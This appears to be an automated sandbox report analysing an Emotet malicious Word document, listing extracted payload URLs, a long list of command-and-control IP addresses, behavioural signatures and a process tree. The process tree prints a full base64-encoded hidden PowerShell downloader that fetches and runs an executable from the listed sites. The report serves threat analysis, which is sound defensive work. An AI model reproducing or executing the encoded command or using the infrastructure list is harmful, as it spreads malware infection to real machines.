Analysis
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max time kernel
30s -
resource
win10v191014 -
submitted
16-01-2020 07:22
General
Malware Config
Extracted
http://media.najaminstitute.com/zlnl4e/bygv89z/
http://ektisadona.com/wp-includes/vq7/
http://iiatlanta.com/wp-admin/joABbF/
http://wotan.info/wp-content/jz5p/
http://grayandwhite.com/wp-admin/9/
Extracted
emotet
24.196.49.98:80
93.147.141.5:443
72.189.57.105:80
91.250.96.22:8080
37.187.72.193:8080
104.131.44.150:8080
167.71.10.37:8080
27.109.153.201:8090
105.247.123.133:8080
190.12.119.180:443
120.151.135.224:80
221.165.123.72:80
103.86.49.11:8080
178.237.139.83:8080
5.32.55.214:80
95.213.236.64:8080
189.203.177.41:443
78.24.219.147:8080
190.117.226.104:80
73.11.153.178:8080
195.244.215.206:80
192.241.255.77:8080
24.105.202.216:443
50.116.86.205:8080
41.60.200.34:80
70.175.171.251:80
182.176.132.213:8090
45.51.40.140:80
201.184.105.242:443
47.180.91.213:80
159.65.25.128:8080
173.21.26.90:80
79.159.249.152:80
66.34.201.20:7080
62.75.187.192:8080
180.92.239.110:8080
178.153.176.124:80
115.95.6.218:443
24.94.237.248:80
181.143.126.170:80
210.6.85.121:80
197.89.27.26:8080
98.30.113.161:80
201.173.217.124:443
98.174.166.205:80
91.205.215.66:443
2.237.76.249:80
92.222.216.44:8080
209.97.168.52:8080
200.21.90.5:443
66.7.242.50:8080
5.154.58.24:80
31.31.77.83:443
59.103.164.174:80
37.157.194.134:443
110.36.217.66:8080
46.105.131.87:80
181.126.70.117:80
209.146.22.34:443
160.16.215.66:8080
5.196.74.210:8080
190.146.205.227:8080
169.239.182.217:8080
190.220.19.82:443
121.88.5.176:443
104.131.11.150:8080
190.53.135.159:21
200.116.145.225:443
47.6.15.79:80
87.106.139.101:8080
91.73.197.90:80
24.164.79.147:8080
139.130.242.43:80
62.75.141.82:80
58.171.42.66:8080
62.138.26.28:8080
211.63.71.72:8080
190.117.126.169:80
47.6.15.79:443
78.189.180.107:80
173.66.96.135:80
108.191.2.72:80
47.156.70.145:80
183.102.238.69:465
46.105.131.69:443
64.53.242.181:8080
78.186.5.109:443
205.185.117.108:8080
201.229.45.222:8080
209.141.54.221:8080
110.142.38.16:80
110.143.84.202:80
70.169.53.234:80
98.156.206.153:80
85.67.10.190:80
78.142.114.69:80
179.13.185.19:80
120.150.246.241:80
223.197.185.60:80
139.130.241.252:443
88.249.120.205:80
206.81.10.215:8080
31.172.240.91:8080
206.189.112.148:8080
72.186.137.156:80
104.236.246.93:8080
186.86.247.171:443
45.33.49.124:443
105.27.155.182:80
176.106.183.253:8080
177.239.160.121:80
95.128.43.213:8080
47.153.183.211:80
149.202.153.252:8080
190.55.181.54:443
87.106.136.232:8080
37.139.21.175:8080
60.231.217.199:8080
108.179.206.219:8080
87.230.19.21:8080
70.46.247.81:80
217.160.182.191:8080
188.0.135.237:80
Signatures
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Executes dropped EXE 2 IoCs
Processes:
705.exe705.exepid process 4500 705.exe 4516 705.exe -
Drops file in System32 directory 1 IoCs
Processes:
705.exedescription ioc process File renamed C:\Users\Admin\705.exe => C:\Windows\SysWOW64\speedmethods.exe 705.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
WINWORD.EXE705.exe705.exepid process 4816 WINWORD.EXE 4500 705.exe 4516 705.exe -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4376 4932 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4376 Powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
Powershell.exe705.exedescription pid process target process PID 4376 wrote to memory of 4500 4376 Powershell.exe 705.exe PID 4500 wrote to memory of 4516 4500 705.exe 705.exe -
Suspicious behavior: EmotetMutantsSpam 1 IoCs
Processes:
705.exepid process 4516 705.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4816 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4376 Powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e834f6146588d6b07448da79aefa1f7340824c785f3585b397b78358a7e0a4a6.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:4816
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABOAGUAZAB1AGEAegB5AG8APQAnAEUAdwBsAHYAYQBiAG8AZABsACcAOwAkAEEAdgBuAHYAdgB0AG8AbQAgAD0AIAAnADcAMAA1ACcAOwAkAFMAcQBwAHYAcgB2AG8AdQBrAHcAcAA9ACcAQwBhAHIAbQBiAHYAcgB3AHcAeQBkACcAOwAkAEgAZQBtAG0AYgB0AGcAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQB2AG4AdgB2AHQAbwBtACsAJwAuAGUAeABlACcAOwAkAFYAdABlAGwAYgB3AG4AeQBsAG4AZQBlAD0AJwBBAG8AdgBoAGcAcwBlAHgAJwA7ACQARgB6AGEAdABpAGEAdwBrAHIAZgBvAHkAPQAuACgAJwBuACcAKwAnAGUAJwArACcAdwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBsAGkARQBuAHQAOwAkAE8AYgBnAHoAaABmAGEAcQBtAD0AJwBoAHQAdABwADoALwAvAG0AZQBkAGkAYQAuAG4AYQBqAGEAbQBpAG4AcwB0AGkAdAB1AHQAZQAuAGMAbwBtAC8AegBsAG4AbAA0AGUALwBiAHkAZwB2ADgAOQB6AC8AKgBoAHQAdABwADoALwAvAGUAawB0AGkAcwBhAGQAbwBuAGEALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHYAcQA3AC8AKgBoAHQAdABwADoALwAvAGkAaQBhAHQAbABhAG4AdABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAG8AQQBCAGIARgAvACoAaAB0AHQAcAA6AC8ALwB3AG8AdABhAG4ALgBpAG4AZgBvAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGoAegA1AHAALwAqAGgAdAB0AHAAOgAvAC8AZwByAGEAeQBhAG4AZAB3AGgAaQB0AGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADkALwAnAC4AIgBzAFAAYABsAGkAVAAiACgAJwAqACcAKQA7ACQAUQBqAHcAdgBzAHcAcgBtAG0AegBhAHUAcQA9ACcAVABnAHIAcQBuAG0AaQB0AHMAcgBoAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAdgB0AHEAcgBmAHEAawBvAHoAagBlACAAaQBuACAAJABPAGIAZwB6AGgAZgBhAHEAbQApAHsAdAByAHkAewAkAEYAegBhAHQAaQBhAHcAawByAGYAbwB5AC4AIgBkAGAATwB3AG4AbABgAE8AQQBEAGAARgBpAGwARQAiACgAJABWAHYAdABxAHIAZgBxAGsAbwB6AGoAZQAsACAAJABIAGUAbQBtAGIAdABnAGcAKQA7ACQAUgBuAHgAcwBoAHUAcwB6AHMAZwBwAHcAcwA9ACcAQwBmAHkAdwBtAG4AbABtAGcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABIAGUAbQBtAGIAdABnAGcAKQAuACIATABgAEUATgBHAHQASAAiACAALQBnAGUAIAAzADAANQA2ADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGAAQQBSAFQAIgAoACQASABlAG0AbQBiAHQAZwBnACkAOwAkAFEAZABkAGwAdgB6AHAAdgBsAD0AJwBJAGYAZAB1AG4AbABiAHIAJwA7AGIAcgBlAGEAawA7ACQATABxAGwAaQBlAGYAagBmAGIAcQBmAD0AJwBDAHYAbwB1AHQAdwBkAHcAeAB6ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAagBzAHgAYgBmAHcAcABxAGYAbgA9ACcAUgB1AGYAcABrAG0AdwBrACcA1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:4376 -
C:\Users\Admin\705.exe"C:\Users\Admin\705.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Users\Admin\705.exe--4730b01a3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EmotetMutantsSpam
PID:4516
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